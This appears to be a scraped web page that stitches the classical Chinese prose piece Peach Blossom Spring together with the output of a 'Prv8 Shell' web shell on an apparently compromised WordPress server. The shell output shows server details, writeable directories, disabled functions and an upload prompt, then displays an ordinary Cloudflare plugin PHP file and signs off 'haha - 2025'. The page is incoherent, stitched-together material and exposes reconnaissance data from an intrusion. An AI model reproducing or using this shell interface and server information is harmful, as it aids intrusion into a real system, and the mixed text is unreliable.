晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/cloudflare/src/WordPress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/www/wp-content/plugins/cloudflare/src/WordPress/HTTP2ServerPush.php
<?php

// TODO:
// Get rid of $GLOBALS and use static variables
// Make class functions non-static
// Add debug logs. Need dependency injection of logger to this class
namespace CF\WordPress;

class HTTP2ServerPush
{
    private static $initiated = false;

    public static function init()
    {
        if (!self::$initiated) {
            self::initHooks();
        }

        ob_start();
    }

    public static function initHooks()
    {
        self::$initiated = true;

        $autoptimize_js_enabled = (get_option('autoptimize_js') && get_option('autoptimize_js') === 'on');
        $autoptimize_css_enabled = (get_option('autoptimize_css') && get_option('autoptimize_css') === 'on');

        add_action('wp_head', array('\CF\WordPress\HTTP2ServerPush', 'http2ResourceHints'), 99, 1);

        // If Autoptimize exists, prefer the optimized assets it emits over usual WordPress enqueued scripts
        if (class_exists('autoptimizeMain')) {
            add_filter('autoptimize_filter_cache_getname', array('\CF\WordPress\HTTP2ServerPush', 'http2LinkPreloadHeader'), 99, 1);
            if (!$autoptimize_js_enabled) {
                add_filter('script_loader_src', array('\CF\WordPress\HTTP2ServerPush', 'http2LinkPreloadHeader'), 99, 1);
            }
            if (!$autoptimize_css_enabled) {
                add_filter('style_loader_src', array('\CF\WordPress\HTTP2ServerPush', 'http2LinkPreloadHeader'), 99, 1);
            }
        } else {
            // Autoptimize plugin is not activated, so fallback to the usual WordPress script and style queues
            add_filter('script_loader_src', array('\CF\WordPress\HTTP2ServerPush', 'http2LinkPreloadHeader'), 99, 1);
            add_filter('style_loader_src', array('\CF\WordPress\HTTP2ServerPush', 'http2LinkPreloadHeader'), 99, 1);
        }
    }

    public static function http2LinkPreloadHeader($src)
    {
        if (strpos($src, home_url()) !== false) {
            $preload_src = apply_filters('http2_link_preload_src', $src);

            if (!empty($preload_src)) {
                $newHeader = sprintf(
                    'Link: <%s>; rel=preload; as=%s',
                    esc_url(self::http2LinkUrlToRelativePath($preload_src)),
                    sanitize_html_class(self::http2LinkResourceHintAs(current_filter(), $preload_src))
                );
                $headerAsString = implode('  ', headers_list());

                // +2 comes from the last CRLF since it's two bytes
                $headerSize = strlen($headerAsString) + strlen($newHeader) + 2;

                // If the current header size is larger than $maxHeaderSize bytes
                // ignore following resources which can be pushed
                // This is a workaround for Cloudflare's 8KiB header limit
                // and fastcgi default 4KiB header limit
                $maxHeaderSize = 3072; // 3 KiB by default
                if (defined('CLOUDFLARE_HTTP2_SERVER_PUSH_HEADER_SIZE')) {
                    $maxHeaderSize = absint(CLOUDFLARE_HTTP2_SERVER_PUSH_HEADER_SIZE);
                };

                if ($headerSize > $maxHeaderSize) {
                    if (defined('CLOUDFLARE_HTTP2_SERVER_PUSH_LOG') && CLOUDFLARE_HTTP2_SERVER_PUSH_LOG) {
                        error_log("Cannot Server Push (header size over $maxHeaderSize bytes).");
                    }
                    return $src;
                }

                header($newHeader, false);

                $GLOBALS['http2_'.self::http2LinkResourceHintAs(current_filter(), $preload_src).'_srcs'][] = self::http2LinkUrlToRelativePath($preload_src);
            }
        }

        return $src;
    }

    /**
     * Render "resource hints" in the <head> section of the page. These encourage preload/prefetch behavior
     * when HTTP/2 support is lacking.
     */
    public static function http2ResourceHints()
    {

        $resource_types = array('script', 'style');
        array_walk($resource_types, function ($resource_type) {
            $key = "http2_{$resource_type}_srcs";
            if (isset($GLOBALS[$key]) && is_array($GLOBALS[$key])) {
                array_walk($GLOBALS[$key], function ($src) use ($resource_type) {
                    printf('<link rel="preload" href="%s" as="%s">', esc_url($src), esc_html($resource_type));
                });
            }
        });
    }

    /**
     * Convert an URL with authority to a relative path.
     *
     * @param string $src URL
     *
     * @return string mixed relative path
     */
    public static function http2LinkUrlToRelativePath($src)
    {
        return '//' === substr($src, 0, 2) ? preg_replace('/^\/\/([^\/]*)\//', '/', $src) : preg_replace('/^http(s)?:\/\/[^\/]*/', '', $src);
    }

    /**
     * Maps a WordPress hook to an "as" parameter in a resource hint.
     *
     * @param string $current_hook pass current_filter()
     *
     * @return string 'style' or 'script'
     */
    public static function http2LinkResourceHintAs($current_hook, $src)
    {

        switch ($current_hook) {
            case 'style_loader_src':
                return 'style';
            case 'script_loader_src':
                return 'script';
            case 'autoptimize_filter_cache_getname':
                $ext = pathinfo($src, PATHINFO_EXTENSION);
                if ($ext === 'js') {
                    return 'script';
                } else if ($ext === 'css') {
                    return 'style';
                }
                return '';
            default:
                return '';
        }
    }
}

haha - 2025